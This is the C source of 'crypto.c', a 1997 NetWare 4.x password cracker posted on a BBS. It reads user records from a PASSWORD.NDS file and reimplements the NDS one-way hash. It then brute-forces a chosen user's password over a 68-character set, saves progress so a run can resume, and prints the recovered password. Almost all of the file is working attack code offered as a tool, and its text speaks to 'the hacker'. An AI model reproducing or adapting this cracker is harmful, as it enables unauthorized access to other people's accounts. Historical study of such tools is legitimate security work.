Metropoli BBS
VIEWER: crypto.c MODE: TEXT (ASCII)
/*************************************************************************
 *                                                                       *
 * crypto.c   - cracks one way encrypted passwords from NDS              *
 *                                                                       *
 * Programmer - Simple Nomad - Nomad Mobile Research Centre              *
 *              Crypto routines by itsme@xs4all.nl                       *
 *                                                                       *
 *-----------------------------------------------------------------------*
 *                                                                       *
 * 6/6/97     - Initial Revision                                         *
 *                                                                       *
 *-----------------------------------------------------------------------*
 *                                                                       *
 * 6/13/97    - Completed basic program.                                 *
 *                                                                       *
 *-----------------------------------------------------------------------*
 *                                                                       *
 * 6/26/97    - Redid brute force attack. Cleaned up code.               *
 *                                                                       *
 *-----------------------------------------------------------------------*
 *                                                                       *
 * 6/27/97    - Minor bug fixes to improve memory usage.                 *
 *                                                                       *
 *-----------------------------------------------------------------------*
 *                                                                       *
 * 6/28/97    - Removed several old routines, minor bug fixes.           *
 *                                                                       *
 *-----------------------------------------------------------------------*
 *                                                                       *
 * 6/29/97    - Fixed problem that crashed DOS windows under Win95, also *
 *              added big endian support.                                *
 *                                                                       *
 *************************************************************************/

/*
 * Includes
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * Typedefs for program
 */
typedef unsigned char uint8;
typedef unsigned int  uint16;
typedef unsigned long uint32;

/* 
 * The PASSWORD.NDS struct and a global pointer 
 */
typedef struct password
{
	uint32          selfOffset;	/* Offset in PASSWORD.NDS. If this is
					   the first record, it is 0x00000000
					   followed by 0x0000014e for the
					   second record, etc. */
	uint32		id;		/* Object ID from ENTRY */
	uint32		parentID;	/* Parent ID */
	uint32		objectID;	/* Object ID from Private Key */
	uint32		pwlen;		/* Password length of user account */
	uint8		hash[16];	/* One-way hash */
	uint8           userOU[40];     /* OU of User */
	uint8		userCN[258];    /* User common name */
} PASSWORD; /* size=334 */

PASSWORD pPassword;

#ifdef ENDIAN
union
{
  uint32 longData;
  uint8 shortData[4];
} output;

union
{
  uint32 longData;
  uint8 shortData[4];
} input;
#endif

/* 
 * Global constants
 */
#define TRUE 1
#define FALSE 0

uint8 nyblTab[256]=  /* used by encrypt */
{/* 0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f  */
   0x7,0x8,0x0,0x8,0x6,0x4,0xE,0x4,0x5,0xC,0x1,0x7,0xB,0xF,0xA,0x8,
   0xF,0x8,0xC,0xC,0x9,0x4,0x1,0xE,0x4,0x6,0x2,0x4,0x0,0xA,0xB,0x9,
   0x2,0xF,0xB,0x1,0xD,0x2,0x1,0x9,0x5,0xE,0x7,0x0,0x0,0x2,0x6,0x6,
   0x0,0x7,0x3,0x8,0x2,0x9,0x3,0xF,0x7,0xF,0xC,0xF,0x6,0x4,0xA,0x0,
   0x2,0x3,0xA,0xB,0xD,0x8,0x3,0xA,0x1,0x7,0xC,0xF,0x1,0x8,0x9,0xD,
   0x9,0x1,0x9,0x4,0xE,0x4,0xC,0x5,0x5,0xC,0x8,0xB,0x2,0x3,0x9,0xE,
   0x7,0x7,0x6,0x9,0xE,0xF,0xC,0x8,0xD,0x1,0xA,0x6,0xE,0xD,0x0,0x7,
   0x7,0xA,0x0,0x1,0xF,0x5,0x4,0xB,0x7,0xB,0xE,0xC,0x9,0x5,0xD,0x1,
   0xB,0xD,0x1,0x3,0x5,0xD,0xE,0x6,0x3,0x0,0xB,0xB,0xF,0x3,0x6,0x4,
   0x9,0xD,0xA,0x3,0x1,0x4,0x9,0x4,0x8,0x3,0xB,0xE,0x5,0x0,0x5,0x2,
   0xC,0xB,0xD,0x5,0xD,0x5,0xD,0x2,0xD,0x9,0xA,0xC,0xA,0x0,0xB,0x3,
   0x5,0x3,0x6,0x9,0x5,0x1,0xE,0xE,0x0,0xE,0x8,0x2,0xD,0x2,0x2,0x0,
   0x4,0xF,0x8,0x5,0x9,0x6,0x8,0x6,0xB,0xA,0xB,0xF,0x0,0x7,0x2,0x8,
   0xC,0x7,0x3,0xA,0x1,0x4,0x2,0x5,0xF,0x7,0xA,0xC,0xE,0x5,0x9,0x3,
   0xE,0x7,0x1,0x2,0xE,0x1,0xF,0x4,0xA,0x6,0xC,0x6,0xF,0x4,0x3,0x0,
   0xC,0x0,0x3,0x6,0xF,0x8,0x7,0xB,0x2,0xD,0xC,0x6,0xA,0xA,0x8,0xD
};
/*
/ nyblTab reversed
/
/ 0   02 1c 2b 2c 30 3f 6e 72 89 9d ad b8 bf cc ef f1
/ 1   0a 16 23 26 48 4c 51 69 73 7f 82 94 b5 d4 e2 e5
/ 2   1a 20 25 2d 34 40 5c 9f a7 bb bd be ce d6 e3 f8
/ 3   32 36 41 46 5d 83 88 8d 93 99 af b1 d2 df ee f2
/ 4   05 07 15 18 1b 3d 53 55 76 8f 95 97 c0 d5 e7 ed
/ 5   08 28 57 58 75 7d 84 9c 9e a3 a5 b0 b4 c3 d7 dd
/ 6   04 19 2e 2f 3c 62 6b 87 8e b2 c5 c7 e9 eb f3 fb
/ 7   00 0b 2a 31 38 49 60 61 6f 70 78 cd d1 d9 e1 f6
/ 8   01 03 0f 11 33 45 4d 5a 67 98 ba c2 c6 cf f5 fe
/ 9   14 1f 27 35 4e 50 52 5e 63 7c 90 96 a9 b3 c4 de
/ a   0e 1d 3e 42 47 6a 71 92 aa ac c9 d3 da e8 fc fd
/ b   0c 1e 22 43 5b 77 79 80 8a 8b 9a a1 ae c8 ca f7
/ c   09 12 13 3a 4a 56 59 66 7b a0 ab d0 db ea f0 fa
/ d   24 44 4f 68 6d 7e 81 85 91 a2 a4 a6 a8 bc f9 ff
/ e   06 17 29 54 5f 64 6c 7a 86 9b b6 b7 b9 dc e0 e4
/ f   0d 10 21 37 39 3b 4b 65 74 8c c1 cb d8 e6 ec f4
*/

uint8 crypTab[32]=   /* used by encrypt & encryptp */
{

0x48,0x93,0x46,0x67,0x98,0x3D,0xE6,0x8D,0xB7,0x10,0x7A,0x26,0x5A,0xB9,0xB1,0x35,

0x6B,0x0F,0xD5,0x70,0xAE,0xFB,0xAD,0x11,0xF4,0x47,0xDC,0xA7,0xEC,0xCF,0x50,0xC0
};

/* The characters used for brute force cracking */
char
data[68]={"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,./<>?;':\"[]{}`~!@#$%^&*()_-+=|"};

/* 
 * Global variables
 */
int level=0;
int crypt2data[96];
int crypt2_c_val[64];
int revcrypt2data[96];
int revcrypt2_c_val[64];

/*
 * START OF ITSME ROUTINES
 */

/*
 * generic dump routine
 */
void dump(uint8 *p,int l)
{
   int i;
   for (i=0 ; i<l ; i++)
   {
      printf("%02x",p[i]);
      if (i==15) putchar(' ');
   }
   putchar('\n');
}

/*
 * solve case problem
 */
int solveEqn(uint8 a, uint8 b, uint8 c, int startX)
{
   int x;
   for (x=startX ; x<256 ; x++)
      if (((c^(x-a)^(x+b))&0xff)==0)
	 return x;
   return -1;
}


uint8 calcElement(int index);

/*
 * calc_c called by calcElement to get the c value
 * c[0]=elem[0]
 * c[1]=elem[0]+elem[1]
 * c[2]=elem[0]+elem[1]+elem[2]
 */
int calc_c(int index)
{
   if (index<32)
      return 0;
   if (crypt2_c_val[index-32]==-1)
      crypt2_c_val[index-32]=calc_c(index-1)+calcElement(index);
   return crypt2_c_val[index-32];
}

/*
 * calcElement called by crypt2
 */
uint8 calcElement(int index)
{
   int c;
   int k;
   int i;
   int value;
   int result;
   if (index<0)
      return 0;
   if (crypt2data[index]!=-1)
      return crypt2data[index];

   c=calc_c(index-1);
   i=index&0x1f;
   k=(c+i)&0x1f;
   value=calcElement(index-32);

   if (k<i)
      result=(calcElement(index-i+k)-crypTab[i]) ^ (value+c);
   else if (k==i)
      result=(value-crypTab[i]) ^ (value+c);
   else  /* k>i */
      result=(calcElement(index-32-i+k)-crypTab[i]) ^ (value+c);

   crypt2data[index]=result;

   return result;
}

/*
 * crypt2 2nd encryption on cipher
 */
void crypt2(uint8 *cipher)
{
   int i;
   for (i=0 ; i<32 ; i++)
      cipher[i]=calcElement(64+i);
}

/*
 * Now take the plaintext and make it ciphertext
 */
void forwardcrypt(uint8 *plain, uint8 *cipher)
{
   int c;
   int k;
   int i;
   int j;
   uint8 buf[3][32];
   memcpy(buf[0], plain, 32);
   c=0;
   for (j=0 ; j<2 ; j++)
      for (i=0 ; i<32 ; i++)
      {
	 k = (i+c)&0x1f;
	 if (k<i)
	   buf[j+1][i]=(buf[j+1][k] - crypTab[i]) ^ (buf[j][i]+c);
	 else if (k==i)
	   buf[j+1][i]=(buf[j][i] - crypTab[i]) ^ (buf[j][i]+c);
	 else  /* k>i */
	    buf[j+1][i]=(buf[j][k] - crypTab[i]) ^ (buf[j][i]+c);
	 c+=buf[j+1][i];
      }
   memcpy(cipher, buf[2], 32);
}

uint8 revcalcElement(int index);

void initCalc(uint8 *plain)
{
  int i;
  for (i=0 ; i<32 ; i++)
     crypt2data[i]=plain[i];
  memset(crypt2data+32, -1, 64*sizeof(int));
  memset(crypt2_c_val, -1, 64*sizeof(int));
}

/*
 * initRevCalc called from main encryptp routine
 */
void initRevCalc(uint8 *cipher, int initial_c)
{
  int i;
  for (i=0 ; i<32 ; i++)
     revcrypt2data[i+64]=cipher[i];
  memset(revcrypt2data, -1, 64*sizeof(int));
  memset(revcrypt2_c_val, -1, 64*sizeof(int));
  revcrypt2_c_val[63]=initial_c;
}

/*
 * calculate c for revcrypt
 */
int rev_calc_c(int index)
{
   level++;
   if (index<32)
   {
      level--;
      return 0;
   }
   if (revcrypt2_c_val[index-32]==-1)

revcrypt2_c_val[index-32]=rev_calc_c(index+1)-revcalcElement(index+1);
   level--;
   return revcrypt2_c_val[index-32];
}

/* 
 * calc the element from the crypt table
 */
uint8 revcalcElement(int index)
{
   int c;
   int k;
   int i;
   int value;
   int result;
   level++;

   if (index<0)
   {
      level--;
      return 0;
   }
   if (revcrypt2data[index]!=-1)
   {
      level--;
      return revcrypt2data[index];
   }

   c=rev_calc_c(index);
   i=index&0x1f;
   k=(c+i)&0x1f;
   value=revcalcElement(index+32);
   if (k<i)
      result =  value ^ (revcalcElement(index+32-i+k) - crypTab[i]) ;
   else if (k==i)
      result = solveEqn(crypTab[i], c, value, 0);
   else  /* k>i */
      result = value ^ (revcalcElement(index-i+k) - crypTab[i]);

   revcrypt2data[index]=result;

   level--;
   return result;
}

/*
 * revcrypt2
 */
void revcrypt2(uint8 *plain)
{
   int i;
   for (i=0 ; i<32 ; i++)
      plain[i]=revcalcElement(64+i);
}

/*
 * shrink to 16 byte hash
 */
void shrinkbuf(uint8 *src, uint8 *dst)
{
   int i;
   for (i=0 ; i<16 ; i++)
   {
      *dst = nyblTab[*src++];
      *dst++ |= nyblTab[*src++]<<4;
   }
}

/*
 * XOR password with object ID
 */
void xorwithid(uint32 id, uint32 *buf)
{
   int i;
   for (i=0 ; i<8 ; i++)
      *buf++ ^= id;
}

/*
 * Prepare the password by lengthening...
 */
void preparepw(uint8 *pw, int pwLen, uint8 *dst)
{
   uint8 *p;
   int i;

   p=pw;
   for (i=0 ; i<32 ; i++)
   {
      if (pw+pwLen==p)
      {
	 p=pw;
	 *dst++=crypTab[i];
      }
      else
	 *dst++=*p++;
   }
}

/* 
 * uint32 id     : UserID
 * char src[len] : unencrypted password to try
 * int len       : length of unencrypted password
 * char dst[16]  : encrypted password (result)
 */
int encryptp(uint32 id, uint8 *src, int len, uint8 *dst)
{
   uint8 buf[32]; /* password xored with ID and itself ... */
   uint8 buf2[32]; /* password xored with ID and itself ... */
   int FOUND,i;

   FOUND=TRUE;

   preparepw(src, len, buf);

   xorwithid(id, (uint32*)buf);
   forwardcrypt(buf, buf2);
   initCalc(buf);
   crypt2(buf2);
   initRevCalc(buf2, 0x58);
   revcrypt2(buf);
   shrinkbuf(buf2, dst);

   /* dst should now contain the one way hash,
      so we compare it to our targeted user's */
   for (i=0;i<16;i++)
   {
     if (dst[i]!=pPassword.hash[i]) FOUND=FALSE;
   }
   return(FOUND);
}

/*
 * END OF ITSME ROUTINES
 */

/*
 * This routine switches byte ordering to get around the big 
 * endian -- little endian problem. I did this because systems
 * like AIX offer no solutions for a big endian reading a little
 * endian created file. Send it a uint32 and it returns the 
 * converted uint32.
 */
#ifdef ENDIAN
uint32 make_conversion(uint32 k) {
  int i;
  uint32 j;
  
  input.longData=k;
  for (i=0; i<4; i++)
    output.shortData[i]=input.shortData[3-i];
  return(output.longData);
}
#endif

/*
 * Dump unicode to screen. I dislike unicode a lot, but this routine
 * skips the 0x00's and only prints the parts that matter.
 */
void printUnicodeName(char *name, int j)
{
   int i;
   for (i=0;i<j;i++)
   {
     if (name[i]!=0) putchar(name[i]);
   }
}

/*
 * This routine counts the number of PASSWORD.NDS records and returns the
 * value.
 */
long int countPasswordRecords(void)
{
   FILE *fPassword;
   long int j;
   uint32 k;
   ldiv_t calc;

   fPassword=fopen("PASSWORD.NDS","rb");
   if (fPassword==NULL)
   {
     printf("Unable to open PASSWORD.NDS\n");
     exit(1);
   }
   fseek(fPassword,334,SEEK_END);
   k=ftell(fPassword);
   calc=ldiv(k,334);
   j=calc.quot;
   fclose(fPassword);
   return(j);
}

/*
 * print usage if needed
 */
void printHelp(int j)
{
   printf("USAGE: crypto <options>\n");
   printf("  -h            This HELP screen\n");
   printf("  -r            RESTORE a previous brute force attack.\n");
   printf("  -u <username> Attack the USER specified (username is case sensitive).\n\n");
   printf("EXAMPLES:\n");
   printf("  crypto -r\n");
   printf("  crypto -u Admin\n\n");
   exit(j);
}

/*
 * This routine looks for a particular user. It is passed the total number
 * of users to look through and who to look for. If found, TRUE is returned.
 * FALSE is returned if the user was not found.
 */
int findEntryInPasswordFile(long int j, char *account)
{
   FILE *fPassword;
   int FOUND,i,k;
   FOUND=FALSE;

   fPassword=fopen("PASSWORD.NDS","rb");
   if (fPassword==NULL)
   {
     printf("Unable to open PASSWORD.NDS\n");
     exit(1);
   }

   while(j!=0)
   {
     fread(&pPassword,334,1,fPassword);
     FOUND=TRUE;
     for (i=0;i<strlen(account);i++)
     {
       k=i*2+6;
       if (account[i]!=pPassword.userCN[k]) FOUND=FALSE;
     }
     if (FOUND==TRUE)
       break;
     j--;
   }
   fclose(fPassword);
   return(FOUND);
}

/*
 * Main prog
 */
void main(int argc, char **argv)
{
   FILE *restoreTemp;
   int i,t,FOUND,restore,counter;
   long int j;
   uint8 dstpw[16];
   char *account;
   char *last_try;
   char try[16];
   int try_index[]={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};

   /* you would not BELIEVE how many problems this calloc solved */
   account = calloc(sizeof(account), 1);

   restore=FALSE;
   last_try="||||||||||||||||";
   counter=0;

   /* say hello... */
   printf("CRYPTO - Netware 4.x brute force password cracker\n");
   printf("Written by Simple Nomad   -  Nomad Mobile Research Centre\n");
   printf("Bugs to pandora@nmrc.org  -  http://www.nmrc.org\n");
   printf(" Based off of Netware 3.x crypto routines written by itsme\n\n");

   if (argc<2) printHelp(1);

   /* process the command line */
   for (i=1 ; i<argc ; i++)
   {
      if (argv[i][0]=='-')
	 switch(argv[i][1])
	 {
	    case 'r':
	    case 'R':
	       restore=TRUE;
	       break;
	    case 'u':
	    case 'U':
	       if ((i+1>argc) || argv[i+1][0]=='-')
	       {
		  printf("No argument given for option -u\n");
		  exit(1);
	       }
	       sprintf(account,"%s",argv[i+1]);
	       break;
	    case 'h':
	    case 'H':
	    case '?':
	       printHelp(0);
	    default:
	       printf("Invalid option: %s\n", argv[i]);
	       printHelp(1);
	 }
   }

   /* if we aren't restoring a past brute force attack,
      we must find the user's info and set things up */
   if(restore==FALSE)
   {
     j=countPasswordRecords();
     FOUND=findEntryInPasswordFile(j,account);
     if (FOUND==FALSE)
     {
       printf("%s not found in password file.\n",account);
       exit(1);
     }
     FOUND=FALSE;
     for (i=0;i<pPassword.pwlen;i++)
     {
       strcat(try,"A");
       try_index[i]=0;
     }
     printf("Starting brute force...\n");
   }
   
   /* if restoring a past brute force attempt, read in where we
      left off, reset the try_index array, and start processing */
   else
   {
     restoreTemp=fopen("RESTORE.PAN","rb");
     if (restoreTemp==NULL)
     {
       printf("Unable to open RESTORE.PAN\n");
       exit(1);
     }
     fread(&pPassword,334,1,restoreTemp);
     fgets(try,pPassword.pwlen+1,restoreTemp);
     fflush(restoreTemp);
     fclose(restoreTemp);
#ifdef ENDIAN
     pPassword.objectID=make_conversion(pPassword.objectID);
#endif
     for (i=0;i<pPassword.pwlen;i++)
     {
       for (t=0;t<68;t++)
	 if (try[i]==data[t]) try_index[i]=t;
     }
     printUnicodeName(pPassword.userCN,258);
     printf("'s password brute force session restored.\n");
     printf("Last attempt - %s\nContinuing brute force...\n",try);
   } 

   /* tell the hacker why the screen looks hung... */
   printf("Press CTRL-C or CTRL-BREAK to stop...\n");

   /* loop forever (or until success, the bitter end, or power failure) */
   while(1)
   {
#ifndef UNIX
     if (kbhit()); /* this must be here for MS-DOS to get in a ctrl-c */
#endif
     counter++;
     if (counter==1000) /* every 1000 attempts save our place */
     {
       counter=0;
       restoreTemp=fopen("RESTORE.PAN","w+b");
       if (restoreTemp==NULL)
       {
         printf("Unable to open RESTORE.PAN\n");
         exit(1);
       }
       fwrite(&pPassword,334,1,restoreTemp);
       fputs(try,restoreTemp);
       fflush(restoreTemp);
       fclose(restoreTemp);
     }
     
     /* do the test... */
     FOUND = encryptp(pPassword.objectID, try, pPassword.pwlen, dstpw);
     if (FOUND==TRUE) /* if we got it, break the loop */
      break;

     /* if it's the last attempt, break the loop */
     if (strncmp(try,last_try,pPassword.pwlen)==0) 
      break;
     i=0;

     /* increment our index so we know what the next attempt is */
     while(i<pPassword.pwlen)
     {
      if (try_index[i] < 66)
      {
	try_index[i]++;
	break;
      }
      if (try_index[i]==66) try_index[i]=0;
      i++;
     };

     /* after incrementing the index, update the char string */
     for (i=0;i<pPassword.pwlen;i++)
     {
      t=try_index[i];
      try[i]=data[t];
     }

   }

   /* now we are out of the loop */
   printf("\n");
   printUnicodeName(pPassword.userCN,258);

   if (FOUND==TRUE) /* if we got the password, print it */
     printf(" password is %s\n",try);
   else             /* otherwise give the bad news */
     printf("'s password not found.\n");
}



[ RETURN TO DIRECTORY ]